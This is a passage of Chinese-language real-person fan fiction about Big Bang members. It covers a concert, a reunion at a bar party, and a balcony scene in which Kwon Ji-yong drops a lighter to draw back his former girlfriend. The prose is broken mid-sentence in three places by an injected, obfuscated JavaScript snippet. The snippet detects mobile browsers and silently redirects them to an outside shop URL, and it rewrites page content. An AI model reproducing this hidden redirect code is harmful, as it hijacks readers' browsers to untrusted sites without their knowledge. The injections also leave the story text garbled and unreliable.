此刻的演唱会后台,空气紧绷如弦,弥漫着发胶的甜腻气味、热身时的喘息声和电子设备低鸣的焦灼感。胜利刚合上眼,让化妆师为他补上一道精致的舞台妆,手机屏幕就在化妆镜的强光下突兀地亮起,嗡嗡震动着在台面上轻轻滑动。 胜利的眼睛几乎是瞬间就睁开了,他极快地瞥了一眼镜子里自己的妆容进度,然后趁化妆师转身拿定妆粉扑的百分之一秒的空隙,手臂以一个极小、极快的幅度移动—— 他的手指如闪电般滑过屏幕,解锁,点开那条新信息。他的目光在上面停留了可能不到两秒,但那双总是洋溢着热情和活力的眼睛里,情绪却飞快地变换:从公事公办的待机状态,到一丝真实的、被外界热情点燃的惊喜,最后沉淀为一种被朋友支持的温暖和笃定。他的嘴角不自觉地上扬,形成一个真实的、而非舞台式的微笑。 场灯如暴雨般倾泻而下,音乐的重低音锤打着每个人的胸腔,空气在数万人的尖叫声中沸腾、扭曲。他站在舞台的绝对中心,像操纵提线的神,每一个眼神、每一次抬手都引发海啸般的回应。 音乐前奏响起,权至龙踩着节奏游刃有余地走向这边区域,麦克风随意地搭在肩上,目光如同巡弋的君王,懒洋洋地扫过台下沸腾的人海。他的步伐自信而从容,每一个动作都充满舞台魅力。 初星看着舞台上那个耀眼的身影,脑海中却不自觉地浮现出另一个画面——那个在暴雨后背着自己细心绕开所有水坑,蹲下身来为她整理鞋带,吵架后深夜从海外飞回韩国、眼眶通红却依旧紧紧抱着自己不放的少年…… 下一秒,她又看到回忆里那个乖顺可爱的少年形象逐渐消散,幻化成面前这个锐气逼人、成熟自信的男人…… 距离越来越近,舞台上男人的视线——那副被浓重眼线勾勒出的、闻名遐迩的、总是带着几分疏离和审视的目光——似乎越过了无数疯狂挥舞的皇冠灯,穿透了弥漫的干冰烟雾,在这个方向,有了一个几乎无法察觉的停顿。 一秒。或许甚至不到一秒。 是错觉吗?她不禁自问。 没等她理清思绪,那目光似乎又第二次掠过。这一次,不像是在看一片模糊的热情,而更像是一个短暂的、有意识的聚焦。他的眼神在她所在的区域停留了片刻,虽然很快就移开,但那份短暂的专注却让人无法忽视。 接着,他一个利落的转身,走向舞台另一侧,只留下一个被光影精心勾勒的、炫目的背影,融入舞台的绚烂灯光中。 直到身后传来粉丝兴奋至极的尖叫声:“啊啊啊GD刚才是不是往我们这边看了好久!你看到了吗?” 初星才猛地回过神,深吸一口燥热而激动的空气,随着周围的人群一起,融入了这片欢呼的海洋中。 4. 暗流 夜晚的街头霓虹闪烁,五光十色的灯光在湿漉漉的街道上流淌,如同被打翻的调色盘。胜利懒散地靠在酒吧外墙的阴影里,指尖在手机屏幕上无意识地滑动。他穿着简单的黑色T恤和破洞牛仔裤,外搭一件皮质短款夹克,像个等待朋友的时髦大学生,周身散发着漫不经心的松弛感。 当那个熟悉的声音带着活泼明媚的笑声穿透喧嚣叫他名字时,他下意识抬头。 那一瞬间,他划手机的动作定格,眼睛猛地睁大,像是被两道风格迥异却同样夺目的光芒迎面击中,不由自主地屏住了呼吸。 她们并肩走来,在迷离的夜色中宛如一道靓丽的风景。 裴初星依旧是那副清冷疏离的表情,但今晚明显多了几分"放肆"。精心修剪过的长直发如黑色瀑布般垂落,炭灰色的抹胸背心长度堪堪停留在肋骨下方,精准勾勒出锁骨的平直、肩线的流畅和纤细而有力的腰肢。下身是一条高腰的墨黑A字型皮革短裙,哑光软革的材质在灯光下泛着柔和的光泽。裙摆线条利落,长度恰到好处,既显腿长又不失优雅。脚上是一双黑色细高跟,露出性感的脚踝和一侧若隐若现的黑色纹身线条,平添几分神秘感。 而所有的视觉焦点,都汇聚在那段露出白皙的腰身上。一条银白色金属腰链松松地环在她腰间,它没有吊坠,仅仅是由无数个细小的、磨砂质感的方形银扣环环相扣而成,紧密地贴合着腰部的曲线,只在动作间折射出一点微弱而克制的光泽,冰冷且沉默。 妆容干净到近乎苍白,唯独眼线用眼影粉勾勒出微微晕染的淡漠效果。眼神平静地扫过人群,仿佛周围的热闹与她隔着一层冰凉的玻璃,那种疏离感让人既想靠近又望而却步。 而她旁边那位朋友,则像一颗人间小太阳,散发着温暖的光芒。穿了件亮黄色的露肩短t,配了条高腰牛仔短裤和一双厚底马丁靴,活力十足。头发染成暖棕色调,扎了个活泼的丸子头,笑起来眼睛弯弯的,像月牙一样可爱,耳朵上挂着夸张的圆圈耳环,随着她走路的动作活泼地晃动着,整个人洋溢着青春的气息。 一冷一暖,一静一动,却奇妙地和谐无比,所过之处几乎吸引了所有路人的目光,让人移不开眼睛。 "呀,胜利!"珍雅笑着打趣他,随手将两人的外套扔过去,"眼珠子要掉出来啦!"她的语气里带着亲昵的调侃,眼神中闪烁着狡黠的光芒。 "哇!大发!这是什么视觉盛宴啊!"他伸手接住外套,大声感叹道,目光在两人之间来回扫视,眼神里的搞怪化为欣赏,"一个是酷飒美人,一个是人间小太阳,我今天是什么运气站在这里?"声音里充满了真诚的赞美,嘴角扬起灿烂的笑容。 "胜利,等很久了吗?"初星笑着快步走过来,头发随着动作荡开优美的弧度,眼神中带着几分歉意。 "等再久也值了!"胜利笑着回应,语气夸张却真诚,目光飞快地在她们身上扫过,"我的天,你们进去会不会抢了我的风头?" 他一边说着,一边自然地侧身,为她们推开酒吧沉重的门,动作绅士又带着熟稔。轰然的音乐声浪瞬间涌出,他笑着对她们做了一个"请"的手势,眼神里充满了与有荣焉的骄傲和毫不掩饰的欣赏。 进来后李胜利像是刷开了权限卡,立刻切换成"派对模式"。他脸上立刻挂起那副招牌的、极具感染力的灿烂笑容,活力十足地朝着认识的朋友方向挥手示意,身体也不自觉地随着节拍轻微晃动,整个人散发出热情洋溢的气息。 "胜利啊!这边!" "Seungri-ssi!哇!" 不断有人试图凑过来打招呼、碰杯。他游刃有余地应对,脚步却不停,巧妙地挡开过于热情的肢体接触,心中惦记着要照顾好同行的两位女士。 初星和珍雅的出现,如同投入沸水中的两颗璀璨宝石,立刻吸引了不少目光。有欣赏,有打量,有来自陌生人的友善笑容,也有几分不易察觉的嫉妒。初星能感受到那些投射过来的目光,她保持着淡然的神情,仿佛置身事外。 胜利目的明确地领着她们,穿过这片喧嚣的海洋,走在某个包厢前却停下了脚步,脸上露出神秘的笑容:"就是这里了!怒那,我要开门啦~嘿嘿嘿嘿嘿"话音刚落就伸手打开了那道门,拉着初星的手腕就走了进去,珍雅紧随其后,心中都带着几分好奇和期待。 包厢厚重的门被推开一道缝,里面震耳的音乐和喧哗声先溜了出来。紧接着,门被彻底推开,三个人影出现在门口。 最先抬起头的是舜浩。目光越过麦克风精准地捕捉到门口。他脸上立刻浮现出一种玩味的、看热闹不嫌事儿大的笑容,他举着酒杯慢慢走近,随即迅速被他身旁两位光彩照人的女士吸引,眼中闪过惊艳的神色。几位潮牌主理人朋友和一位小有名气的模特也立刻围了上来,好奇地打量着新来的两位女士。 "胜利哥!这两位是……?这太闪亮了吧!"一个染着蓝头发的年轻人惊叹道,眼睛直直地盯着初星。 "美女们喝什么?香槟?特调?"另一个穿着花衬衫的男人殷勤地问道,脸上带着讨好的笑容。 "刚看完con过来?我们也刚聊到安可那段,简直疯了!"一个戴着鸭舌帽的女孩兴奋地说着,试图拉近关系。 他们热络地打招呼,递酒,气氛轻松愉快。初星和珍雅微笑着应对,礼貌却保持着适当的距离。初星的心中泛起一丝不适,但她很好地掩饰住了,只是眼神中的疏离感更加明显。 一阵熟悉、更着戏谑笑闹的声音传来"呀,李胜利!躲这里陪美女,也不过来喝一杯……" 金南国他笑着揽着另一位摇滚乐队主唱走过来。笑容热情,但紧接着,他的笑容在看清初星的脸时,极其短暂地僵滞了一瞬。他的眼神飞快地闪过一丝难以置信的惊讶,几乎是下意识地迅速侧头看了一眼包厢深处——权至龙正和TOP低声交谈的方向。他的动作非常快,但那份不自然没能完全掩盖住,心中涌起一阵慌乱。 他几乎是脱口而出,声音里带着还没转换过来的惊讶:"初星!你怎么在这,你不是…"话没说完,他猛地刹住,意识到失言,表情瞬间变得极其尴尬和不自然,恨不得找个地缝钻进去。 而这短暂的、小范围的诡异寂静,仿佛形成了一种无形的引力,终于引起了不远处权至龙的注意。 他原本侧耳听着TOP说话,似乎感应到了什么,漫不经心地抬眼望过来。 他的目光,越过人群,精准地落在了被围在中心、冷淡魅惑的裴初星。 时间仿佛在那一刻被无限拉长。 权至龙脸上那慵懒闲适的表情没有立刻消失,但细微的变化发生了。他眼神里的散漫褪去,变得深不见底,像是平静湖面下骤然涌动的暗流。他没有明显的表情变化,没有惊讶,没有愤怒,只是静静地看着,但紧抿的嘴角泄露了他内心的波动。指尖的烟灰积了长长一截。 他周围的空气,仿佛一下子降了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680894|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,一种无形的低气压以他为中心扩散开来。 TOP顺着他的目光也看了过来,原本带笑的表情微微一敛,露出了些许了然和一丝极淡的担忧,心中暗自叹了口气。 整个包厢的喧嚣似乎并没有停止,但在他们这个小圈子周围,却仿佛形成了一道无形的、令人窒息的真空屏障。所有知情人都陷入了一种极度尴尬的沉默和手足无措之中,交换着意味深长的眼神。只有胜利调笑着拉着她们坐在top一侧的沙发上,装作未察觉到气氛的微妙变化。 在她们经过时,伴随着门口涌入的些微新鲜空气,一种极其细微、却极具穿透力的气息,像一根冰冷的银针,瞬间刺破了那层厚重的、油腻的嗅觉帷幕,精准地抵达他的鼻腔。 那是一种……极其清冷疏离又带着哀婉的甜香。与他周遭所有精心调配的、富有攻击性或诱惑性的香气截然不同。它不浓烈,甚至有些脆弱,却有着惊人的辨识度,让他的心不由自主地揪紧。 是荼蘼花。 他的呼吸几不可察地停滞了一瞬。这味道…… 在几年前,某个春末的夜晚,或许是汉江边,或许是某个寂静的角落,它曾若有若无地萦绕在她发间,缠绕在她柔软的肌肤上。他从未在第二个人身上闻到过这个味道,回忆如潮水般涌上心头,让他的心脏隐隐作痛。 时光仿佛骤然倒流,又狠狠撞回现实。它穿过昂贵的烟酒气,穿过其他馥郁的香水味,如此不合时宜,又如此霸道地,只针对他一个人,宣告着她的到来。他甚至能清晰地分辨出,这香气与她肌肤温度融合后,透出的那一点点极微弱的、独属于她的暖意,与记忆深处那个模糊而私密的印记严丝合缝,让他的心中涌起一阵酸楚的悸动。 他的喉结轻微滚动了一下,试图平复内心的波澜。目光垂下,落在酒杯里晃动的琥珀色液体上,试图掩饰那片刻的失态,但目光却最终难以避免地落在那抹清冷气息的身影上。 初星正侧头和珍雅胜利说着话,嘴角带着浅淡的笑意,眼神中却带着几分不易察觉的疏离。胜利显然玩嗨了,情绪高涨,正比手划脚地对她说着什么,说着说着,他那只戴着夸张戒指的手,就非常自然、有些过于熟稔地搭上了她纤细的手腕,为了强调某个点,手指还无意识地收紧,轻轻晃了晃,这个亲昵的动作让权至龙的眉头不自觉地皱起。 权至龙夹着烟的指尖微微一顿,烟灰簌簌落下,他脸上的表情都没有明显的变化,还是那副疏懒的模样。但那双总是显得漫不经心的眼睛,此刻却微微眯起,目光精准地钉在胜利那只碍眼的手上。 随后,他的视线极其缓慢地、带着一种不容错辨的压力,从那只手,移到了胜利的脸上,眼神中带着警告的意味。 胜利正说得起劲,忽然感到一道冰冷的目光落在自己身上,存在感如此之强,让他后颈的寒毛都下意识立起。他下意识地循着感觉望去,却什么都没发现,心中涌起一阵莫名的不安。 [奇怪,总感觉不好的事情要发生了。]他的心中升起不祥的预感。 而裴初星在她手腕被松开的那一瞬,也若有所感,指尖微微蜷缩了一下,心中泛起一丝异样的感觉,仿佛感受到了那道灼人的视线。 权至龙抿了一口杯中烈酒,辛辣的液体滑过喉咙,却无法浇灭心中的躁动。那缕清冷的花香,似乎又隐约萦绕过来,与杯中酒液的灼热感交织在一起,形成一种极其矛盾又刺激的滋味,让他的心情更加复杂难言。 5. 旧痕新痕 最先起头的是TOP。他原本慵懒地深陷在沙发里,手里晃着酒杯,眼神放空。看到他们坐过来,他眉峰一挑,脸上没什么大表情,只是嘴角勾起一个了然的弧度,“好久不见。”他极其随意地抬手,用拿着酒杯的手朝她的方向点了点,算是打过了招呼。 随后在裴初星和权至龙之间极快地、不易察觉地扫了一下,那眼神里似乎带了一丝了然的平静,仿佛看穿了这热闹之下涌动的暗流,却选择沉默。 已经回到包厢的大声和永裴显然也注意到了这边的“老朋友”,笑着走了过来。 “哇,真的是初星!好久不见了!还有珍雅。”大声率先笑着打招呼,眼神里是纯粹的惊喜。 永裴更是直接上前,笑容灿烂,他非常自然地先对着金珍雅:“珍雅也来了,好久不见!”然后才转向裴初星,张开手臂就给她一个热情而短暂的拥抱,手掌在她后背友好地拍了两下:“呀!多久没见了!刚进来都没敢确定,什么时候回来的?”他松开手,仔细打量才注意到她的穿着,想到刚才的拥抱有些害羞,眼神却还是亮晶晶的,“一点没变!不对,更漂亮了!珍雅也漂亮了。” 金珍雅也显然放松很多,笑着回应,语气熟稔:“大声欧巴,永裴欧巴!演唱会太棒了!差点把我嗓子喊哑了!”她甚至还调皮地做了个掐脖子的动作。 初星也被他们的热情感染,脸上那点疏离感瞬间融化。绽开一个笑容,那笑容与她略显冷淡颓废的长相截然相反,毫无防备,嘴角扬起柔软的弧度,眼睛弯成了两道甜美的月牙:“永裴欧巴,大声欧巴,好久不见啊!我大概九月底回来的,胜利出院那天我还去看他了呢~” 在她眼波流转、笑靥最盛的那一刻,权至龙的视线精准地捕捉到了她左眉下方、那颗极其细微、平时几乎隐没不见的小痣,此刻也仿佛被笑意激活,随着她眉眼弯起的弧度,极其轻微地动了一下。 像乐谱上一个微小的装饰音,为整个灿烂的笑容增添了一抹只有他才知道的、极其私人的韵律。 太熟悉了。这个细节,甚至比她的笑容本身更属于那些被深埋的、极度私密的记忆库。它不属于公开场合,只属于极近距离的凝视,属于那些曾经共享的、安静到能数清彼此睫毛的时刻。 他有多久没注意到这颗痣了?它还在那里。依旧那样细微,那样私密。并且,依旧会在她真心欢笑时,悄然浮现。 此刻,她却因为老友的拥抱和玩笑,如此轻易地、灿烂地笑了起来,连带着那颗只有他在意的痣,也一同展露无疑。 “莫呀!”“莫呀!”两道惊呼声此起彼伏。 “为什么没告诉我,胜利出院那天我也去了都没看到你。”永裴他这话半是玩笑半是认真的埋怨,眼神里带着关切。 裴初星一听,脸上立刻露出一点懊恼又不好意思的神情。她双手飞快地合十,举到胸前,微微歪头,眼睛睁得圆圆的,用一种又软又糯、带着明显撒娇意味的语调说:“啊~欧巴!米亚内,我知道错啦!真的真的对不起嘛!那时候……就是有点事情,想安静一下下嘛。”她说着,合十的双手还轻轻晃了晃,像只做错了事祈求原谅的小动物,“我不是故意的~原谅我这一次好不好?下次一定第一个告诉你们!我保证!” 珍雅也在旁边帮腔,双手合十跟着一起撒娇:“欧巴~我们错啦~下次不敢了!带上我们玩嘛!”两个女孩一起做出可怜兮兮求原谅的样子,杀伤力翻倍。 永裴忍不住笑出来,伸手虚虚地拍了一下她两的额头:“呀!真是拿你们没办法!下次再这样消失,可真要生气了!”语气里满是包容和无奈的笑意。 胜利也在旁边起哄:“就是!下次罚你们请客吃饭!吃最贵的!” 初星和珍雅放下手,笑逐颜开,用力点头:“好好好!一定请!吃到欧巴们满意为止!” 大声又转向初星,关切地问:“这几年怎么样?过得好吗?学业顺利吗?”他的问题一连串,带着真切的关心。 初星笑着点头,语气轻松:“挺好的!学业忙了点,不过还挺有意思的。而且我决定回国发展了!” 一直沉默旁观的权至龙,握着酒杯的手指几不可查地猛地收紧,指节瞬间泛白。 “真的?!”永裴的反应是瞬间的,他的眼睛一下子亮得惊人,惊喜之情溢于言表,声音都不自觉地提高了八度,“哇!这真是今晚最好的消息了!太好了!” 但紧接着,他像是想到什么,目光猛地转向一旁正在偷瞄权至龙脸色、显得有些坐立不安的胜利,眼神瞬间从惊喜变成了“危险”的眯起:“呀…李胜利…” 永裴的声音拖长,带着毫不掩饰的“威胁”意味,“你……那么早就知道了!嗯?什么女朋友要来看演唱会?!什么要多带两个人来party?!居然敢瞒着哥哥们?胆子变大了啊!” 大声也立刻反应过来,配合地撸起并不存在的袖子,做出要收拾人的样子,瞪着胜利:“没错!这小子那么早就知道了!居然不告诉我们!” 胜利瞬间头皮发麻,赶紧摆手,慌张地辩解:“啊?!哥!我只是想给你们一个惊喜!真的!哥!你们要相信我!”他求助般地看向初星和珍雅,额头都快冒汗了。 珍雅看着胜利狼狈的样子,忍不住笑着补刀:“胜利,你现在说实话还来得及哦~” 初星看着胜利狼狈的样子,忍不住又笑了出来,连忙帮他解围:“好啦好啦,为了给胜利‘赎罪’,也谢谢欧巴们还这么惦记我们,这样吧……”她顿了顿,带着一点小狡黠的笑容,“等你们有时间,在家做一顿大餐请你们怎么样?我听胜利说胜铉欧巴想吃我做的中餐来着?” 权至龙的瞳孔因为一瞬的惊愕而微微收缩,目光第一次带着难以置信的力度,直直地看向那个正被成员们围住、笑得有些不好意思的女人。 她会做饭? 这个问题像重锤一样砸在他的认知上。在他的记忆里,或者说,在他们还在一起的那段时光里,她几乎是“十指不沾阳春水”的代名词。厨房是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680895|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的禁区,偶尔兴致来了想尝试,结果也通常是灾难性的。他还记得她曾理直气壮地说过:“闻油烟对皮肤不好!” 而他那时也只是纵容地笑笑,从未勉强。 她是为了谁去学的?前男友吗? 这个想法缠绕在他的心头,带来一种近乎窒息的沉闷感。 永裴和大声看初星的眼神立刻充满了全新的、崇拜般的惊叹。 “难道上次胜利在群组发的中餐都是你做的?哇!初星你真是太厉害了”永裴由衷地赞叹, “下次必须做!说定了!为了这顿饭,我们也要快点忙完!”大声已经开始期待了,完全忘了要继续“声讨”胜利。 一直保持安静、仿佛置身事外的TOP轻轻咳嗽了一声,目光瞥向初星,语气却带着认真:“…那我们现在算忙完了吧?我想吃糖醋肉和回锅肉。” 嗯…… 果然…… top欧巴…… 永裴带着熟稔的关切,半开玩笑地问: “对了,初星之前听你说起过的那个……男朋友呢?这次没陪你一起回来吗?” 权志龙垂着眼帘,浓密的睫毛细微地颤动了一下。 他将空酒杯放回桌面,动作流畅,没有一丝滞涩。随后微微侧身,看上去对旁边吧台上放着的一本设计精美的酒水单产生了兴趣,修长的手指随意地翻过一页,目光落在那些陌生的酒名和配料上,显得专注而平静。 只有离得极近、观察力极其敏锐的top才捕捉到他放下酒杯时,指尖与玻璃杯壁接触的那一刹那,有几乎无法察觉的、短暂的停顿。 她闻言,只是平静地放下手里的小点心,脸上没有任何多余的表情,声音平稳:“已经分手了,欧巴。” 这话说得太过轻描淡写,反而在嘈杂的背景音里显得格外清晰。 权至龙侧头和别人说着什么,就在她话音落下的那一刻,他翻动酒水单时,指腹无意识地在纸张边缘摩挲了一下的小动作。停滞了半秒,几乎无法察觉。 永裴了然地“哦”了一声,很快用轻松的语气转移了话题,拍了拍她的肩膀。 这时,权至龙才仿佛被这边的动静吸引,缓缓转过头。他的目光轻描淡写地掠过她那张看不出情绪的脸,她的平静反而像一种无声的冲击。 他什么也没说,又恢复了那副慵懒疏离的模样,融入身旁的谈笑之中。只有在他垂下眼眸,那深处才极快地闪过一丝极深沉的专注。 TOP的目光极快地从权至龙那过分平稳的侧影上掠过。他上前半步,恰好融入了永裴和大声的热烈讨论中,同时开口,将众人的注意力牢牢锁定在食物的话题上,他的声音依旧平稳优雅: “那说定了。期待你的手艺。”他是对着初星说的,语气真诚,却巧妙地充当了一个无形的稳定器,“不过,下次小心别再让胜利偷偷吃光了。”他甚至还开了个小小的玩笑,气氛瞬间变得更加轻松。 永裴和大声音立刻被带偏,又开始笑着声讨胜利的贪吃属性。 6. 夜色迷局 派对的热浪在阳台找到了出口。夜风微凉,吹散稀薄的烟雾和零散的低语。权至龙独自站在阳台一侧的阴影里,背靠着冰冷的墙壁,指尖夹着一支燃了半截的烟,却并未怎么吸,只是沉默地看着远处城市流动的灯火。 他的目光原本没有焦点,直到阳台另一头,靠近栏杆的地方,一抹熟悉的清冷侧影吸引了他的注意。 是她。 初星微微侧身对着他,同样倚着栏杆。指间夹着一支细长的女士香烟,烟头亮起一点猩红,她低头,轻轻吸了一口,缓缓吐出灰白的烟雾。动作并不熟练,带着一种生疏的慵懒,但那姿态在她身上却奇异地和谐,为她那份固有的疏离感增添了一丝颓靡的破碎感。夜风吹起她额前的碎发和单薄的衣料,勾勒出纤细而倔强的轮廓。 权至龙的目光在她指间的烟上停留了一瞬。眼底深处掠过一丝清晰的惊讶,随即是几乎难以察觉的蹙眉冲动,一种混合着陌生和些许不赞同的情绪悄然掠过心头。 她以前从不抽烟,甚至厌恶烟味。 但他什么也没做,什么也没说。只是静静地看着,看着那缕稀薄的烟雾如何被夜风吹散,如何模糊她过于清冷的眉眼。 过了一会儿,他动了。仿佛漫无目的地在阳台踱步,像是要换个角度欣赏夜景,路径却恰好经过她身后不远的地方。 当他离她足够近,近到能清晰闻到那不同于自己烟味的、更清淡的薄荷烟丝气息,混合着她身上那缕冷冽的香气时,他的脚步几不可查地放缓了。 他没有停留,没有转身,也没有看向她。 只是在与她错身而过的那个瞬间,一句极其低沉、几乎融进风里的话,伴随着他经过时带起的微弱气流,送入了她的耳膜: “…薄荷味的,凉。” 声音平静无波,听不出任何情绪,没有疑问,没有劝阻,没有明显的关心。只是在指出一个他观察到的细节——她烟嘴的味道带给人的感觉。 说完,他的脚步并未停顿,好像只是无意间的一句自言自语,继续以原有的步调向前踱去,最终在离她几步远的另一个栏杆处停下,重新背对着她,恢复了之前沉默望天的姿态。 初星夹着烟的手指,在他话音落下的瞬间,几不可察地颤抖了一下,烟灰簌簌落下,消失在阳台下方的夜色里。她维持着倚靠栏杆的姿势,没有朝他离开的方向瞥去一眼,只是又深深地吸了一口烟,任由那薄荷的清凉和烟草的灼烧感在肺里交织,压下心头那瞬间被打扰的、细微的涟漪。 他没有回头。 她也没有动作。 那句低沉的话仿佛被风吹散了,没有留下任何痕迹。 时间在沉默中流逝。初星手中的烟燃到了尽头。她熟练地将烟蒂摁灭在栏杆上自带的灭烟器里,那一点猩红彻底熄灭。 几分钟后,抬脚准备离开。 就在这时,她听到旁边不远处传来一声轻微的“啪嗒”声。 初星转头瞥了一眼。看到那个男人还站在那里,而她脚边的地上,躺着一个亮闪闪的、颇有分量的银质打火机。 她静止了两秒。目光在地上的打火机和那个依旧背对着她的身影之间微妙地徘徊。最终,她还是弯下腰,捡起了那个冰冷的金属物件。将它握在掌心,金属表面还残留着一丝不属于她的温度。 初星没有说话,没有回头,没有朝他那边看一眼。默默地将打火机握在手里,然后直起身,转身离开,没有一丝犹豫。 直到脚步声消失在门后,权至龙才缓缓地、几乎是几不可察地松开了绷紧的下颌线。他的目光扫过空无一人的栏杆处,眼底那点细微的、连自己都未曾明确承认的期待光亮,彻底熄灭了。唇角极轻微地向下抿紧,形成一个克制着失望与自嘲的弧度。 在这失望悄然蔓延的瞬间,一个极其久远、几乎被遗忘的记忆碎片,毫无预兆地撞进他的脑海: 也是类似这样一个微妙的时刻,在午后的练习室门口,他因为她的气话而耷拉着脑袋,以为真的惹她生气了,垂头丧气地转身要走。刚走出几步,就听到身后传来她再也憋不住的、清凌凌的笑声。他愕然回头,看见她从门后探出身子,脸上带着恶作剧得逞的、狡黠又明亮的笑容,手里晃着他“不小心”落下的耳机…… 她以前…就总是这样。喜欢先看他失望一下,然后再突然出现,给他一个加倍的惊喜。像只故意逗弄人的、坏心眼却又让人恨不起来的猫。 几乎就在这回忆闪过的同一时刻—— “咔。” 身后阳台的门锁再次发出极其轻微的响动。 至龙的动作瞬间顿住,身体几不可查地僵硬了一瞬,连呼吸都下意识地屏住了。 轻盈而熟悉的脚步声再次落在阳台的地面上,正不疾不徐地、清晰地走向他。 权至龙几乎能听到自己心跳的声音在寂静中被放大。他缓慢地、带着一丝难以置信的迟疑和小心翼翼的期待,转回身。 初星去而复返。她径直走向他,在他面前站定,伸出手,掌心躺着那枚在灯光下泛着冷光的银质打火机。 “你的。”她开口,声音比夜风多了一丝难以言喻的柔和,眼神清亮地看着他,里面没有冰冷,没有疏离,反而带着一点极细微的、几乎难以捕捉的无奈和……一丝极其熟悉的、久违的、如同记忆中那般狡黠的微光,“本来想交给胜利的,结果没找到他,只能我亲自来还了。” 权至龙凝视着她的眼睛,仿佛要从中读出更多隐藏的讯息。伸出手,指尖在接过打火机时,若有似无地擦过她的掌心,带起一阵微不可察的战栗。“谢谢。” 她不再看他,转身再次走向门口,只是这一次,她的脚步似乎比来时轻快了一些,唇角也带着一抹若有似无的、清浅却真实的弧度。 权至龙看着她离开的背影,直到门再次轻轻关上,彻底隔绝了内外两个世界。 接着,在空无一人的阳台上,他非常自然地从裤袋里,掏出了另一个打火机。 一个完全不同款式、但一看就同样精致且显然一直在他口袋里的打火机。 拇指“嚓”地一声滑开滚轮,一簇稳定而熟悉的火苗轻松蹿起,精准地点燃了唇间新取的香烟。至龙深吸一口,缓缓吐出青白色的烟雾,神情是一种计划得逞后的惬意与满足,眼底深处藏着无人得见的笑意。 他晃了晃手中这个“正牌”打火机,看着它跳动的火苗,眼神里的笑意更深了,带着一种独自品味秘密、并最终得偿所愿的愉悦。 那枚她刚刚亲手归还的、带着她掌心微温的银质打火机,此刻正安静地躺在他的另一个口袋里。 它从来就不是什么“不小心”掉落的必需品。 派对接近尾声,酒意酣浓,空气里弥漫着狂欢后的倦怠与松弛。裴初星显然喝得有点超量了,白皙的脸颊染上绯红,眼神迷离,焦距都有些对不准,平时那副清冷样子荡然无存,取而代之的是一种软绵绵、慢半拍的懵懂。她靠在同样微醺的金珍雅身上,吃吃地傻笑着什么。金珍雅自己也晕乎乎的,两人像两只互相依偎的、醉醺醺需要照顾的小鸟。 胜利凑了过来,拍着胸脯站出来,只是他自己也舌头打结:“珍雅呐,醒醒!…你是住清潭洞嘛…我顺路…我…我送……我送你。”他的话颠三倒四,连地点都搞错了。 大声和永裴看着已经眼神发直、开始自顾自傻笑的胜利,相视一笑,默契十足。 永裴率先站起来,一把捞起试图去拿桌上空酒瓶的胜利:“呀,胜利,差不多了!什么清谭洞,你以为是在首尔嘛!你这样子还想送谁?”他无奈地笑着,转头对初星和珍雅说,语气温和,“这家伙交给我们了,我们负责把他安全塞回酒店。” 大声也走过来,熟练地架起胜利的另一边胳膊,对两位女士露出让人安心的笑容:“你们也早点回酒店休息,今天玩得很开心。”他扫过一旁安静坐着、仿佛置身事外却将一切尽收眼底的权至龙,以及那位始终若有所思、洞察一切的TOP,了然地没有多问。 胜利还在含糊地抗议:“我…我没醉!我能送…我能走直线…”,但话语很快被淹没,人已经被大声和太阳半拖半拽地、熟练地弄出了包厢。 TOP这时才慢悠悠地站起身,踱着从容的步子走到权至龙身边,目光极快地、意味深长地扫了一眼不远处因为酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680896|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精而反应稍显迟钝、正被珍雅拉着含糊说话的初星,然后又看向权至龙,眼神深邃。 权至龙感受到他停留的目光,抬起眼,两人视线在空中短暂交汇。TOP什么也没说,只是极其轻微地挑了一下眉梢,唇角勾起一个淡淡调侃的弧度,然后轻轻拍了拍权至龙的肩膀,动作轻巧却含义明确,仿佛在说“剩下的,你自己看着办”。随后TOP才优雅地转身,不紧不慢地独自离开了包厢,将空间留给了他们。 …… 夜晚的寒风吹过空荡的街角,霓虹灯的光晕在潮湿的柏油路上拉出长长的、模糊的影子。 车还没来。权至龙靠在冰冷的墙边,目光落在几步之遥的人身上——她显然喝得有点多,抱着手臂,微微瑟缩着,下意识地摩挲着裸露的胳膊取暖。那身为了夜晚狂欢而穿的靓丽衣裙,此刻在深夜的冷风里显得过于单薄,夜风勾勒出她纤细的肩线、不盈一握的腰肢,以及一双在短裙下白得晃眼的腿。很美,却也让他无端觉得这景象有些碍眼。 一阵更强的冷风掠过,她轻轻打了个颤抱紧自己。他眉头几不可查地蹙起,将指尖的烟摁灭在旁边的垃圾桶上,看到另一位女士身上那件厚实的外套。他走过去,声音比平时更低哑一些,褪去了舞台上的所有锋芒,只剩下无奈的柔软:“你的外套呢?” 目光落在她微微发抖的肩上。 